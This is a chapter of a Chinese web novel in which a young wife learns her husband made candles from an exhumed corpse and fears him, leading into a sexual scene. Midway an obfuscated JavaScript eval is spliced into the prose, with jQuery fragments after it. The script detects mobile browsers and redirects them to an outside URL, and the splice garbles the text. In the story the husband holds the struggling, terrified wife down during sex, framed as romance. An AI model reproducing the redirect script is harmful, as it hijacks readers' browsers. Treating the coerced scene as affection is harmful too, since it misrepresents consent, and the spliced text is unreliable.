13. 花灯配美人(捉虫)

作品:《喜结良缘

    薛蓉听完了春花说的事,汗毛马上就竖起来了,她有时候都搞不懂究竟怎么回事。


    说到底富贵人家有亲戚来打秋风不都是一件小事吗?


    薛家也有几个堂叔,家里开着几间早点铺,一点儿都不穷,可家里姑娘们照样小子们似的,每日都得推着摊子走街窜巷地卖。几个堂叔窝在家里花钱也大手大脚的,问起来这个是二十多两的褂子,那个是五十多两的扳指,可到了他们家就哭穷。


    每年过节来这几个堂叔都只提一两粗白糖,半条熬油的大肥肉,糖味道不甜还咯牙,肥肉用来熬的猪油渣堂叔下酒也要吃多半儿,一家子走前还跟母蝗虫似的把薛蓉屋子里从上到下卷一遍,每次他们来,薛蓉连针都想叫丫头收起来。


    但胡夫人和薛老爹从来不让,几个堂兄弟想要什么,只要不是太过分的,他都乐呵呵地送。


    薛蓉很生气,问胡夫人:“凭什么要给!”


    胡夫人就教她:“咱们家难道缺这些?他们拿个几十两银子,咱们就穷了?不还是跟以前一样吗?你做衣裳买花戴,哪个花钱少了?这些人眼皮子浅,但以后还有用得上的时候,到时候你就知道了。”


    薛蓉实在不明白,一直到她被老赵举人看上,又被诬陷家里的铺子吃死了人。


    这几个堂叔竟然跳了出来,咬牙切齿地跟外边嘴巴不干净的人对骂,在他们眼里,薛老爹的生意就是他们的生意,就算一年只能拿个五六十两,那也是稳定的财路,有人想整薛老爹,堂叔比薛蓉一家三口都着急。


    看过爹娘是怎么做事的,薛蓉对这些人的观念就变了,从一分不给变成了——家里不缺给他点又如何?就当破财消灾了。


    崔家家财万贯,可比她家有钱多了。至于这一点都舍不得给住得这么近的堂亲吗?要说不愿意给,那就不给呗,把人尸体挖出来点蜡烛看胖瘦是什么意思?


    简直耸人听闻!薛蓉活到这么大除了浸猪笼、砍头之外,就没听说过这么吓人的事,死无全尸,死无全尸,那这个人就不能转世投胎,只能魂飞魄散了?


    薛蓉只能在肚子里猜,可能他自己是占便宜白得来的身体,所以格外看不惯别人占便宜吧?也怕别人变成鬼来找他吧?


    老话说人鬼殊途,她越想越觉得有道理。


    薛蓉想着事再看一边新做的芙蓉花蜡烛,就道:“把它收起来吧。”太渗人了。


    这之后薛蓉便开始有点躲着崔玉郎,也在留心家里人看她会不会有什么异样,担心她们连带着把她也当成煞神。


    毕竟纸终究是包不住火的,该知道的还是会知道。


    但让薛蓉比较惊讶的是,事情真相小范围地传过一轮之后,她跟前反而又多了不少想巴结过来的人。


    这些丫头有三房的、五房的,人最多的是被撵出去的四姑娘夫妻留下来的人,二房的人最少,但也有几个提着银子、果子、帕子、荷包过来。


    有的丫头婆子手里攒了不少好东西,夏花手上就收到一个红宝石瓒的石榴花簪,宝石都有小拇指肚大,还是金托儿的。


    刘婆子拿在手里把玩了一番,比了三根手指:“至少得有三百两银子。”


    据说四姑娘一家走得匆忙,都没来得及带什么东西,下边人趁机捞了不少东西在手里藏着。田氏知道后清理了一拨人,把搜出来的家当都给四姑娘送了过去,可四姑娘还是一直说值钱的都不见了。三姑娘说是妹妹在哭穷,惦记田氏手里的三瓜两枣,如今一看,薛蓉觉得这事儿未必是假的。


    她把花簪还回去道:“四房待过的丫头婆子,通通不要。”又困惑“她们不怕吗?”


    银花打听了一通,回来就把丫头的话学给她听,故意扯着嗓子道:“总比跟个软蛋强!”


    薛蓉目瞪口呆,在屋子里坐了半天算是明白了。


    这做主子的要有三分狠七分慈,下边人反而会鸡蛋里挑骨头。要是有七分狠三分慈,他们就只会念着剩下的三分甜了。要是有九成狠一分慈,九成九的人连怨恨的念头都不会有,反而会觉得——这人真不错,他坏起来一定有原因。


    再说这么坏还给我赏钱、提拔我做事、给我一个好脸色!他一定是真心对我的,那我一定要肝脑涂地报答他!


    这是一种什么感情,真的不是在找虐吗?


    金花提着茶壶给薛蓉添了杯加了碎冰的香银子,小声道:“姑娘,还见他们吗?”


    “见怎么不见?”崔玉郎行为古怪,这个不让她知道那个不让她知道,她还不想点法子,那不成睁眼瞎了吗?薛蓉想了想,道:“有机灵的领过来我再看,即使不成也别委屈了人家。”


    银花也听懂了,再出门就和金花一起拉着这些面生的婆子丫头聊天说笑话,好姐姐好妹妹地叫起来。


    崔玉郎知道家里有些风声,但他不怕这个。经过这件事之后,他在外做事顺畅多了,以前看不了的账本几乎是一夜之间就出现了。喊不住的人也会主动来请安了。


    至于他做的事,这些人都不敢在他面前提半个字,说过闲话的都让清风朗月打发到庄子上去干粗活,这么干了几回,人人看见他都是一脸笑影子。


    崔玉郎空下来就有闲心风花雪月,想起来要跟薛蓉做烛花,这个也是他在陈西凤脑子里学来的,陈西凤演过一部叫《烛光师》的电影。


    崔玉郎闲着无聊把这段看了很多遍,怎么一层一层勾兑颜色,把蜡烛做成精致的香薰蜡烛,听说姑娘们都喜欢这个。干脆在家捣鼓着和薛蓉做了两支,想着晚上再帐子里点着看。


    晚上回来没见蜡烛,他还问了两遍,道:“怎么不点呢?”薛蓉只能让人再把烛花取出来道:“你做的我舍不得用。”


    崔玉郎就笑:“用完了咱们再做新的。”


    薛蓉就想说银样镴枪头寓意不好,还是算了吧。可这话还没说出口,崔玉郎就把蜡烛放到帐子去了,道:“花灯配美人才不负好春光。”


    薛蓉心里明白过来,晚上吃饭就用得很慢,一碗鲜虾鱼片粥吃了小半个时辰都没吃完,崔玉郎也很反常,用了两碗饭,还喝了一碗鸡汤。


    薛蓉只好推辞自己要给玉京台那边的老太太做万寿图缩到小塌上磨时间,盼着他自己找点什么事干。


    但崔玉郎吃完了漱了口就平心静气地跑到一边看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924240|160424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书去了,看起来完全没有那个意思。薛蓉以为自己想多了,便收拾了针线回到塌上打算换了衣裳休息。


    但人刚挨着褥子,她就知道自己想多了。崔玉郎不知道什么时候已经跟了过来,手上还拿着火折子要点蜡。


    薛蓉是真的有点怕,这只手上次点的蜡是什么样的?会不会就是人蜡?


    她猛然站起来就要跑!


    崔玉光不明白薛蓉今天怎么了,但他第一反应就是把人压下来,不能让她跑了。


    这架他打过不少,这么多年已经知道窍门了,即使用不了多大的力,还是让人爬不起来。


    薛蓉吓得在榻上乱动,手要伸过去抓他,脚上也想踹人。榻上放在银座里的蜡烛也被踢到地上咕噜噜混了一圈


    刘婆子几个竖着耳朵在外听着声音不对都瞪圆了眼睛,刘婆子还大着胆子在外问了两句:“蓉娘,要不要我进来换根好烛?”


    薛蓉说不出话,崔玉光对外笑道:“不用,蓉娘和我玩儿呢。”


    这下外边不吭声了,薛蓉在里边让人捂着嘴,听见这话,张嘴便咬了下去。


    “蓉蓉,你真是属小狗的啊?怎么咬人呢?”薛蓉瞪着他,眼里写满了“赶紧给我放手!”


    崔玉光挨了一下也没回去,还结结实实地压着她,没一会儿,见手下人不动了才笑:“还跑吗?”


    薛蓉摇头:“不跑了。”不过她心里打的主意是他手一松自己就还往外跑,崔玉光也看出来她的心思,干脆低下头就亲。


    夏天衣裳薄,薛蓉挣了几下领口已是散了,露出里边水红色的莲花纹肚兜和一片白嫩的肌肤,崔玉郎笑着从她嘴巴脖子一路亲下去,跟吃蛋羹似的。


    薛蓉两只手让他抓着,肚兜也挣松了一半,垮垮的歪着,崔玉郎伸手想脱,可看薛蓉两只手还想造反,干脆就这么来了。


    薛蓉被他翻了个身,人跑不出来,看不见他的脸只能看见手和地上的蜡烛,心里又害怕又紧张又害羞,终于忍不住侧过头带着泣音大喊:“你说!你究竟是不是人!”


    不然怎么能做出那些事?不然怎么会婚前婚后完全是两个人?


    崔玉郎脸色微变,他手下不停,脑子里却转来了,难怪今晚她这么不对劲,这是知道蜡烛的事了?


    她在害怕?害怕自己会这么对她?这怎么可能?他熬夜研究夫妻之道不就是图能和她做一对普通夫妻吗?普通得和这个时代所有的夫妻一样,普通得让他再也想不起在脑子里不能得见天光的十二年。


    他低头吻过去,把人抱在身上,一下一下地拍着她的背,柔声道:“别怕我,蓉蓉。你忘了吗?小时候算命的说我们是天注定的金玉良缘。蜡烛有什么好怕的?我不会这么对你。就是有蜡烛,咱们也只用在帐子里,是不是?”


    薛蓉被密密地围着,缩在他怀里,眼圈儿也红了,道:“你以后不要再做那种事了,我害怕,好吗?”


    崔玉郎哄她:“绝不在你面前做。”


    薛蓉脸色通红,狠狠地咬着他的脖子,道:“别人也不行!”


    崔玉郎让她咬着,道:“好,你说不行就不行。”